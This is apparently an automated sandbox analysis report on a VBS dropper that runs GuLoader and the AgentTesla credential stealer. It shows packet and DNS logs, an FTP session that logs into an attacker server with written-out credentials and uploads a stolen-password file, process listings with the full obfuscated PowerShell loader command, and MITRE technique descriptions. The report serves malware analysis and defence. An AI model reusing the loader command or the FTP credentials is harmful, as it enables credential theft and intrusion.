Nov 29, 2022 18:34:32.972935915 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.972959995 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.972985983 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.973016024 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.973071098 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.973079920 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.973128080 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.973129988 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.973186970 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.973242044 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.973279953 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.973279953 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.973297119 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.973351002 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.973404884 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.973449945 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.973450899 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.973458052 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.973512888 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.973567009 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.973622084 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.973622084 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.973622084 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.973680973 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.973787069 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.132894039 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.133204937 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.133220911 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.133277893 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.133336067 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.133358955 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.133390903 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.133446932 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.133482933 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.133502960 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.133537054 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.133558989 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.133598089 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.133615017 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.133670092 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.133670092 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.133724928 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.133779049 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.133816004 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.133836031 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.133863926 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.133893013 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.133940935 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.133949041 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.134004116 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.134027004 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.134131908 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.134130955 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.134191990 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.134228945 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.134293079 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.134320974 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.134391069 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.134413004 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.134505033 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.134548903 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.134601116 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.134617090 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.134665012 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.134697914 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.134793997 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.134891033 CET	49855	80	192.168.11.20	162.240.62.179

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 29, 2022 18:34:32.433917046 CET	56557	53	192.168.11.20	1.1.1.1
Nov 29, 2022 18:34:32.476682901 CET	53	56557	1.1.1.1	192.168.11.20
Nov 29, 2022 18:34:38.424631119 CET	50934	53	192.168.11.20	1.1.1.1
Nov 29, 2022 18:34:38.434093952 CET	53	50934	1.1.1.1	192.168.11.20
Nov 29, 2022 18:34:46.357691050 CET	56134	53	192.168.11.20	1.1.1.1
Nov 29, 2022 18:34:46.629107952 CET	53	56134	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 29, 2022 18:34:32.433917046 CET	192.168.11.20	1.1.1.1	0x7526	Standard query (0)	qwedft.gq	A (IP address)	IN (0x0001)	false
Nov 29, 2022 18:34:38.424631119 CET	192.168.11.20	1.1.1.1	0x2534	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Nov 29, 2022 18:34:46.357691050 CET	192.168.11.20	1.1.1.1	0x1eec	Standard query (0)	ftp.mcmprint.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 29, 2022 18:34:32.476682901 CET	1.1.1.1	192.168.11.20	0x7526	No error (0)	qwedft.gq		162.240.62.179	A (IP address)	IN (0x0001)	false
Nov 29, 2022 18:34:38.434093952 CET	1.1.1.1	192.168.11.20	0x2534	No error (0)	api.ipify.org	api.ipify.org.herokudns.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2022 18:34:38.434093952 CET	1.1.1.1	192.168.11.20	0x2534	No error (0)	api.ipify.org.herokudns.com		52.20.78.240	A (IP address)	IN (0x0001)	false
Nov 29, 2022 18:34:38.434093952 CET	1.1.1.1	192.168.11.20	0x2534	No error (0)	api.ipify.org.herokudns.com		3.220.57.224	A (IP address)	IN (0x0001)	false
Nov 29, 2022 18:34:38.434093952 CET	1.1.1.1	192.168.11.20	0x2534	No error (0)	api.ipify.org.herokudns.com		54.91.59.199	A (IP address)	IN (0x0001)	false
Nov 29, 2022 18:34:38.434093952 CET	1.1.1.1	192.168.11.20	0x2534	No error (0)	api.ipify.org.herokudns.com		3.232.242.170	A (IP address)	IN (0x0001)	false
Nov 29, 2022 18:34:46.629107952 CET	1.1.1.1	192.168.11.20	0x1eec	No error (0)	ftp.mcmprint.net		185.31.121.136	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

qwedft.gq

FTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Nov 29, 2022 18:34:46.696629047 CET	21	49858	185.31.121.136	192.168.11.20	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed.220-Local time is now 19:34. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed.220-Local time is now 19:34. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed.220-Local time is now 19:34. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed.220-Local time is now 19:34. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
Nov 29, 2022 18:34:46.696991920 CET	49858	21	192.168.11.20	185.31.121.136	USER klogz@mcmprint.net
Nov 29, 2022 18:34:46.729505062 CET	21	49858	185.31.121.136	192.168.11.20	331 User klogz@mcmprint.net OK. Password required
Nov 29, 2022 18:34:46.729799986 CET	49858	21	192.168.11.20	185.31.121.136	PASS l9Hh{#_(0shZ
Nov 29, 2022 18:34:46.780364990 CET	21	49858	185.31.121.136	192.168.11.20	230 OK. Current restricted directory is /
Nov 29, 2022 18:34:46.813596010 CET	21	49858	185.31.121.136	192.168.11.20	504 Unknown command
Nov 29, 2022 18:34:46.813944101 CET	49858	21	192.168.11.20	185.31.121.136	PWD
Nov 29, 2022 18:34:46.846718073 CET	21	49858	185.31.121.136	192.168.11.20	257 "/" is your current location
Nov 29, 2022 18:34:46.847259998 CET	49858	21	192.168.11.20	185.31.121.136	CWD /
Nov 29, 2022 18:34:46.879990101 CET	21	49858	185.31.121.136	192.168.11.20	250 OK. Current directory is /
Nov 29, 2022 18:34:46.880294085 CET	49858	21	192.168.11.20	185.31.121.136	TYPE I
Nov 29, 2022 18:34:46.912998915 CET	21	49858	185.31.121.136	192.168.11.20	200 TYPE is now 8-bit binary
Nov 29, 2022 18:34:46.913393021 CET	49858	21	192.168.11.20	185.31.121.136	PASV
Nov 29, 2022 18:34:46.946330070 CET	21	49858	185.31.121.136	192.168.11.20	227 Entering Passive Mode (185,31,121,136,233,124)
Nov 29, 2022 18:34:46.981738091 CET	49858	21	192.168.11.20	185.31.121.136	STOR PW_user-888683_2022_11_29_18_34_43.html
Nov 29, 2022 18:34:47.016505957 CET	21	49858	185.31.121.136	192.168.11.20	150 Accepted data connection
Nov 29, 2022 18:34:47.049491882 CET	21	49858	185.31.121.136	192.168.11.20	226-File successfully transferred 226-File successfully transferred226 0.033 seconds (measured here), 13.16 Kbytes per second
Nov 29, 2022 18:36:26.444715977 CET	21	49858	185.31.121.136	192.168.11.20	226 Logout.

Target ID:	2
Start time:	18:33:27
Start date:	29/11/2022
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\SIEM_PO00938467648.vbs"
Imagebase:	0x7ff7414d0000
File size:	170496 bytes
MD5 hash:	0639B0A6F69B3265C1E42227D650B7D1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: cmd.exePID: 376, Parent PID: 7696

General

Target ID:	4
Start time:	18:33:28
Start date:	29/11/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	CMD.EXE /c echo C:\Windows
Imagebase:	0x7ff687d50000
File size:	289792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: conhost.exePID: 380, Parent PID: 376

General

Target ID:	5
Start time:	18:33:28
Start date:	29/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f8160000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: powershell.exePID: 6160, Parent PID: 7696

General

Target ID:	6
Start time:	18:33:33
Start date:	29/11/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Biliate = """LaABrdGedGa-StTDiyCopsteUn St-UdThoyAupepeWrDReeTrfPaiUsnUmiRetCoiMaoFrnSv Sm'ReuSksUniFunCogKn ToSPhyPrsJatNueSimst;viuSmsPriSknangIm PrSPlyEusGrtgueoemFo.ReRPuuConHutSoiFrmFreIl.JoIFonSntSneLurCooPapJaSTreRerElvKuiticReeFesBr;AmpUpuKobsnlVoiDecAw sasRutRhajetaaiTecSv BrcEslFoaUnsVasLe EbTInuBaeBaiOurCeoKonPr1Ci Sh{Ti[PhDAflUllBuIMimHapMaoAfrEutAn(ad`"""InuLusKieKarMe3Br2Si`"""Rr)Ri]GopMauFlbStlMeiTycSa AesKatInaHjtSmiSvcNe SteHoxattImeTerOpnNa GriBenBrtNo YdDMieResTotEnrBroStyOvCspaMerMieCotKl(sn)Me;Sm[AfDEplLulReIenmFlpRdoHarEgtBr(Ov`"""MigAldMeiPl3In2Er`"""Te)Ce]tapEuuDrbCulMaiHjcAs LgsUdtTraBrtSqiercCo VieBexTetVeetrrHrnMa FoiBanArtHa StSBrcUdaGrlLaeSkWTeiScnSudReoBuwCrEVexChtstESuxKn(NoiFinKutSe MoDLnrIgiBefRatPl,ReiAnnAltJu BeAUdmAmbMiuPalHeaAp,DiiFonKntSp juBpraSesVaoQu,MaiLenImtBa NoiAfaDagVrtPotSyaOv,ChiGenpltRe diVSaeTvjSimboaSotAn1Un5Fr8Ud,GiiTinSttEr YeMSucSlgKurSk)Eg;Ak[KuDDilBulImIRdmAmpAnoVarPrtFr(Sk`"""SvkSqeRorpinFleRelPa3Ov2as`"""Tr)Wo]hepMeuRobBalFriLucRe HysMitFoaUntTaiTmcJa aneDexMitKueSarBlnOi ReiFanSutov drHDeeStaBapBlSBeiSpzBaeKo(StiUnnDitOu YcPKerBroUrpRe,PhiSonxatCl AiANodStrCheFosOv,ViiDenJutDi MuTImoWerArtInrfriPo)Mo;Co[SlDOplSalSpIApmunpReoSjrRotKo(wh`"""JgsSchdieBilShlko3Ge2re.VadUflOmlUn`"""St)Un]BepPauSlbOslBeiUncAs MasMntSyaLetFriTrcpr NoeVixRatFoeRerWenun SevEnofuiTrdRh PaDterFlaFigMeFCiiEnnStiKasBehMi(EsiBonSutPo OpOMumPldSerGe)Ba;Ej[SpDFalBelMeILimhepFroUdrGutAu(Je`"""mawSkifanTemNumIn.ApdKolBolFl`"""Fu)Ho]ScpOvuPrbMdlViiAlcBa BosSatAsaHotLiiFocSi VeeNoxLutHaeBirJenLa HoiennNatGu ArmtjiHoxSceDarTrGSwejotCoDTreFivSuCKeaMipqusSu(SkiBlnCitCh BeNPriBrtSerUd,UditinCotJo VaFaseEwlOb,ThivinQutEo NoAPhfAfsXi9Im3Bl)Ta;Ls[ChDCulCalHaIPumCipIcoFarRetSl(Be`"""RekGleTrrhinAteSilEk3Sa2ur`"""Ti)De]PapFeuDrbFolOpiLkcTn BusAbtSyaUdtMeiSocfr CoeImxFatMoeFrrnanto triMenTotAl KaLUdoEscAskQuRosepasphoOvuForJucApeph(RoiAfnCotTe VeLExeSoiUn)Ir;Un[ReDPilIwlOyILammipShoStrFatCr(Bo`"""FlkAueCervanToeJelAv3Pl2Re`"""Se)Co]UnpAnuCobOplFoilacLa CasrotOpaUntMuiKacTi WieKnxEntReeUdrTrnTr AriPonIntSl PiVIniStrpetrauAcaTilvaATelBelCloThcFa(TriStnSotWi GevGr1Sk,SmiLunThtOr CavBl2Ne,KeiStnCotBy Hevdr3pa,HeiGanUptku SvvCa4In)pr;Py[DrDMalInlPrIBrmHepPloKnrPttba(Ho`"""CrAUnDBeVAlAToPanICr3St2Ph.WaDBeLSaLCi`"""To)Un]StpTiuRebSylPuiEncFo CosMotUnaUntHuiAtcst MeeMixDotOfeAdrInnRo SuvBeoUpiVidTi CiMTraBipBeGAteOenSleGlrPriBrcCoMFiaUnsAnkVn(SaiSknMetPe PlBInrTriOdnObkIr,DoiDenQutRu CaMChiUddtitKnsSn)In;Ov[TrDRelSelFuIUnmRipGoosurOmtSc(Ve`"""BrkVaeMerManPeeSklSt3Co2In`"""ef)Ce]BepKouMybKolLbiCocUn EdsGatKuaTetKoiaacLu NoeVexPrtNeeUnrAnnCy PrISenLvtPlPFotBorkr ScEGanSuumemfuSChyFrsPotBeeOomFjLGuoFlcSraNelGaeVosPrWUn(PauDiiEynSttPe GrvEx1ma,PsiHanKotEn KovGr2Ha)Et;Om[OoDrhlDilFlIsumEnpSkoOvrTrtSp(St`"""ObkEdeElrRenTaeDalDi3Sc2Di`"""Si)Ni]FopChuTlbDalCaiAlcLi SmsNytvaaretPriSucTr LueBexGatTreGerManbr ReiGunentAn UnSGieUntTiTEnhPorBieSoaVadEmABlfPafPaiChnFeimitSpySlMPraNisBrkab(CeiNgnCatCr teRBeedebOuuFoiAflUn,BriSlnFitBa SuSTeeAnmHeiDasRr)Ho;Ba[TrDTrlSplVaIMamSapMaoCortitPr(Ud`"""StuNosKoeJorEl3En2Sp`"""St)Bu]chpReuBlbGulFliCacUn OusOutScaUntGoiRecor SteabxArtcheSerBunFo PoiRenJotMi SpSKoeAftJuMEmeInnReuBjIPrtFieStmXeIHongefFeoSi(OpiTrnmotSu ReCRhaBlbBrrSoiSk,AaiDonSktDo reOTepFiaNolUt,UniBunSutFl ClHskaFoaEn,whiHinSptIn GaARemCopFluPr)Ti;Ge}As'Et;Sp`$SpTPtuDueudiKorTooTonPi3Lu=Oo[JgTShuAueAuiFrrAcoovnRe1Bi]Ac:Do:LiVAnikdrBltniuSwaNolWeAStldelNooFocFo(Va0Co,Dr1Un0Ha4An8In5Un7Im6He,al1En2Pr2Ek8St8Gu,Bl6Co4Un)Pe;Ro`$ProFurUpnSaiBetTrhProAasChaBruDarTiiEsaSlnKi=Fi(EkGReeustDe-PrIDetBeeRemSkPGurPloPipReeStrSktMiyOt Ej-JePVeaMatrehTr Sn'EfHPrKTrCuaUSp:Vi\DePgoeMidpnaMigunoOvgCl\ReDCaeVofHmiIbbZerHaiFolSolcoaBatRaiChoPunoveBlnDosMo'Sk)Le.CaELilPluFrtFoiPyoFrnQu;ir`$PoiTanPotGouCurBinHveSidAl Po=sp er[PrSAeyKosIntUneTymTi.LuCGaoUbnDavTheAarIntNe]Ox:Zi:ApFGurMuoCamSoBAwaResFreHo6Sa4StSNitLnrUniGunUngFo(St`$ApobjrAunCriIntCohUnoPosUnaKeuMarAniNoaUnnAr)Fo;Sk[TrSEjyAfsVitWaeTimre.GeRGnuFonUntStiKrmUneJo.trILenSatHeeGorsioLopSeSSteDarchvMeiBicBoeEssAj.FeMBraAprNjsFohUnaUnlBa]Me:Ov:haCUdoBrpFjyBr(Ne`$DaiKanBetSluAnrOmnLgePidRe,Sc Fe0yo,Su Na Ko`$PeTMuuUneLiizirEmoannin3Do,Ci Pl`$RiiXanMitSpuSorThnTeeRedMa.SocAloStuRhnKotsp)Ta;Un[FaTKouveeLsifarNooPrnFr1st]Be:Dy:EsEManNouUnmboSUnyTisAstDieMomViLTeoBecDeaUrlBueUnsNoWUn(Po`$AbTPruSyePriAurSkoSinPr3Sk,Uk St0Ha)Ug#Sm;""";Function Tueiron4 { param([String]$sheikdmmerne); For($circumtropical=2; $circumtropical -lt $sheikdmmerne.Length-1; $circumtropical+=(2+1)){ $Driblende = $Driblende + $sheikdmmerne.Substring($circumtropical, 1); } $Driblende;}$Reptilious0 = Tueiron4 'DaIKgEtiXSk ';$Reptilious1= Tueiron4 $Biliate;&$Reptilious0 $Reptilious1;;
Imagebase:	0x910000
File size:	433152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000006.00000002.86815709366.0000000009330000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate

Analysis Process: conhost.exePID: 3372, Parent PID: 6160

General

Target ID:	7
Start time:	18:33:33
Start date:	29/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f8160000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: csc.exePID: 4192, Parent PID: 6160

General

Target ID:	10
Start time:	18:33:59
Start date:	29/11/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.cmdline
Imagebase:	0x610000
File size:	2141552 bytes
MD5 hash:	EB80BB1CA9B9C7F516FF69AFCFD75B7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	moderate

Analysis Process: cvtres.exePID: 1840, Parent PID: 4192

General

Target ID:	11
Start time:	18:34:00
Start date:	29/11/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7743.tmp" "c:\Users\user\AppData\Local\Temp\0j5ctfzr\CSC3A80B568F8BB4D66897E5CE811419E16.TMP"
Imagebase:	0x5a0000
File size:	46832 bytes
MD5 hash:	70D838A7DC5B359C3F938A71FAD77DB0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: CasPol.exePID: 5484, Parent PID: 6160

General

Target ID:	12
Start time:	18:34:20
Start date:	29/11/2022
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe
Imagebase:	0xcd0000
File size:	106496 bytes
MD5 hash:	7BAE06CBE364BB42B8C34FCFB90E3EBD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000C.00000002.91118394619.000000001D920000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.91118394619.000000001D920000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 0000000C.00000000.86571566419.0000000001100000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.91117300370.000000001D8D1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

